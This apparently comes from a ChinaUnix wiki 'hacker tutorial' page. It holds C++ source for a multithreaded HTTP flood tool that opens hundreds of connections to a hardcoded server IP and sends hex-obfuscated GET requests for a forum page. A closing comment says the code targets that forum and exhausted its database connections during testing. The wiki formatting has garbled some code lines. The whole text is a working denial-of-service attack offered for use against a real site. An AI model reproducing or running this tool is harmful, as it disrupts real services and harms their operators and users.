黑客教学
来自 ChinaUnix Wiki
/***********
email: xxxx1@yahoo.com.cn cc code c/c++ pthread 内含bug
- /
- include <iostream>
- include <cstdlib>
- include <unistd.h>
- include <netinet/in.h>
- include <sys/socket.h>
- include <arpa/inet.h>
- define MAXATT 800
- define MAXPAGE 1300
using namespace std;
void * att(void *); void EXIT(void); void fun (int i, int socket);
typedef struct mystr { pthread_mutex_t mutex; int value; } data;
data mydata ={ PTHREAD_MUTEX_INITIALIZER, 0, };
int main(int argc, char *argv[]) { static int sum = 2; // att((void * )5); // exit(0); //
while (1) { pthread_mutex_lock (&mydata.mutex);
if (mydata.value < MAXATT) { ++mydata.value; pthread_mutex_unlock (&mydata.mutex); pthread_t pid; sum++; if (pthread_create( &pid, NULL ,att , (void *)sum) != 0) { cout << "errow create pthread \n" << endl; EXIT();
}
if (sum > MAXPAGE) sum =2; } else { cout << " IN MAIN now num =" << mydata.value << endl; pthread_mutex_unlock (&mydata.mutex); sleep(2); cout << "sleep 2 " << endl; } }
return EXIT_SUCCESS; } void EXIT(void) {
pthread_mutex_lock (&mydata.mutex); --mydata.value; cout << " IN EXIT now num = " << mydata.value << endl ; pthread_mutex_unlock (&mydata.mutex);
}
void * att(void * arg) {
struct sockaddr_in server; static int num = 0 ; int fd; static char command1 [] = "\x47\x45\x54\x20\x2F\x66\x6F\x72\x75\x6D\x2F\x76\x69\x65\x77\x66\x6F\x72\x75\x6D\x2E\x70\x68\x70\x3F \x66\x3D\x32\x37\x26\x74\x6F\x70\x69\x63\x64\x61\x79\x73\x3D\x30\x26\x73\x74\x61\x72\x74\x3D";
static char command2 [] ="\x20\x48\x54\x54\x50\x2F\x31\x2E\x31\x0D\x0A\x48\x6F\x73\x74\x3A\x20\x77\x77\x77\x2E\x66\x72\x65\x65 \x63\x22\x63\x65\x69\x70\x6E\x61\x2E\x6F\x72\x67\x0d\x0a\x0d\x0a";
//pthread_t self; pthread_detach(pthread_self());
if ((fd = socket(AF_INET, SOCK_STREAM , 0)) == -1) { cout << " greate socket errow " << num << endl; EXIT(); return 0; } else { num++; }
bzero(&server , sizeof (struct sockaddr_in));
if (inet_aton("61.129.66.78", &server.sin_addr) != 1) { cout << " inet_aton errow " << endl; EXIT(); return 0; }
server.sin_family = AF_INET; server.sin_port = htons(80);
if (connect(fd , (struct sockaddr *) &server, sizeof(struct sockaddr_in)) < 0 ) { cout << " connect errow " << endl; EXIT(); return 0; }
if (write (fd , command1 , strlen (command1)) < 0) { EXIT(); return 0;
}
fun( (int)arg,fd);
if (write (fd , command2 , strlen (command2)) < 0) { EXIT(); return 0; }
shutdown(fd, SHUT_RD);
/* while ((num = read (fd , readbuff , sizeof(readbuff))) > 0) { write (STDOUT_FILENO, readbuff , num);
}
- /
sleep(3);
//确保内容到了对方。 可以自己调节
//更高杆的写法 比如修改自己的接受栈 建议读 steven 的书
//
//
close(fd);
cout << " pthread " << (int)arg << "over" << endl;
EXIT();
return 0;
}
void fun (int i, int socket)
{
char *p;
char buff[7] = {0};
int j = 5;
int k = i;
p = &buff[6];
while (k) { p--; buff[j] = k%10 + '0'; j--;
k = (k-k%10)/10; }
write(socket,p,strlen(p)); }
/************************************* g++ att 1.cpp -lpthread
代码就是攻击本论坛的啦 纯潮水。 测试的时候 服务器会出现 数据库连接不够。 断开以后 服务器大概在2秒内恢复正常。 不敢保证的确攻击成功。(说不定已经被论坛的大大block 掉了) 代码属于菜鸟的。使用者自己负责啦!
- /
